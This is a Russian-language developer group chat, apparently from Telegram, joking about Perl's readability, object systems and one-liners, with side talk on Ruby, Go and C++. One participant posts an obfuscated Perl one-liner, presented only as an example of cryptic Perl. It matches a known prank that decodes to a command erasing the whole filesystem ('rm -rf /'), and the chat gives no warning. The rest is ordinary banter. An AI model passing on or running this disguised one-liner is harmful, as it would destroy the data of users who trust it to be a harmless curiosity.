Dmitry
и чо
Alexander 🐕
Что такое “нормальная объектная модель”?
Alexander 🐕
В Perl есть Moose, Mouse и т.п.
Alexander 🐕
В Perl есть метапрограммирование
Alexander 🐕
Че еще надо-то
Dmitrii
В Perl есть Moose, Mouse и т.п.
Муз это пачка костылей
Dmitrii
Нет. Даже целая свалка.
Dmitrii
А еще работает как тормоз.
Amir
В Perl есть метапрограммирование
с какого года оно там есть?
Nikolay
ну таки ходят слухи, что перл-скрипт можно писать и выкидывать, писать и выкидывать; так и жить с этим
Nikolay
эти самые однострочники на перле
Dmitrii
эти самые однострочники на перле
Представь что есть огромные проекты на нем. Там вообще жопа.
Amir
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|{;;y; -/:-@[-{-};`-{/" -;;s;;$_;see'
Amir
такие?
Nikolay
перл щас нужен только для саппорта старых проектов ящитаю
Amir
otrs
Amir
чтоб его
Alexander
Микросервисы можно на нем писать
Nikolay
перл это когда ты сам написал, сам понял, а другой не понял; а на следующий день ты и сам не понял
Nikolay
лол
Amir
ну про руби тоже самое можно сказать
Amir
наговнокодил в своем стиле а у другого радугой тошнит
Sergey
Руби разрабатывался как перл на стероидах
Sergey
Неудивительно
Amir
окей
Nikolay
наговнокодил в своем стиле а у другого радугой тошнит
дык у них же договора везде эти convenience over configuration
Amir
perl -> ruby -> scala
Amir
стероиды зло
Sergey
Хотя, регулярки можно на любом языке написать так, что шерсть дыбом встанет
Amir
дык у них же договора везде эти convenience over configuration
ты давно видел прод код на скороую руку из серии $arr->[1]['scope'][0] и в таком духе?)
Nikolay
не, не видел :) ; такое есть только в моих скриптах, которые 1-2 раз запустить и выкинуть
Sergey
У меня тут коллега json на sed парсил
Sergey
Вот это ад)
Amir
jq?
Sergey
jq тогда ещё не было
Denis
просто бершь и делаешь flat array из ключей джсона
Amir
темные временя какие-то
Denis
и не паришь мозг
Donald
перл - это новый руби
Amir
перл + верстка + жс
Amir
шикарная вакансия
Constantine️
причем чтоб было совсем круто
Constantine️
жс на реакте
Sergey
темные временя какие-то
Да нет, всего-то лет 5 прошло
Dmitrii
Ну давайте эксперты по перл. Что делает этот код?
Nikolay
пыхеры переходят на го, а js-девам деваться некуда 😄
Nikolay
я перла не знаю, не знаю, что и сказать
Dmitrii
Это кусочек продакшн кода.
Amir
нашел...
Amir
for my $num (1..8) { is(join('', map {$_->[0]->{g}.$_->[0]->{lp}.$_->[1]->{g}.$_->[1]->{lp}} $gplmgi->($data->{$num}, $data->{"dn_$num"})), $data->{"res_$num"}, "TestCase $num need ".$data->{"res_$num"} ); }
Dmitrii
В тред призывается Alex
Nikolay
тогда всё нормально, раз в проде 😺 ; разрабы говна в прод не подсунут же
Donald
перл + верстка + жс
всё как в старые добрые времена. хорошо хоть дизайнить не заставляют
Nikolay
откуда мысли, что пыхеры?
ну ладно питонисты еще
Nikolay
ну а кто еще?
Amir
Ну давайте эксперты по перл. Что делает этот код?
слава богу я уже не помню)) хотя догадываюсь
Nikolay
больше некому
Dmitrii
В общем поэтому перл и говно
Amir
длинну вложенного масива?(
Dmitrii
Что программист другого яп без подготовки не сообразит
Sergey
ну ладно питонисты еще
Зачем питонистам идти на го?
Nikolay
рутины
Amir
кхм
Sergey
скорость
Далеко не всегда есть профит
Dmitrii
длинну вложенного масива?(
Ага... только не вложенного, а тот который лежит в хэше.
Amir
ну да
Sergey
За скоростью лучше на кресты
Amir
ну помойму это обычная практика так делать
Nikolay
нахер ваши кресты
Amir
го какой-то странный
Nikolay
лучше докупить железа и писать нормально, а не есть кактус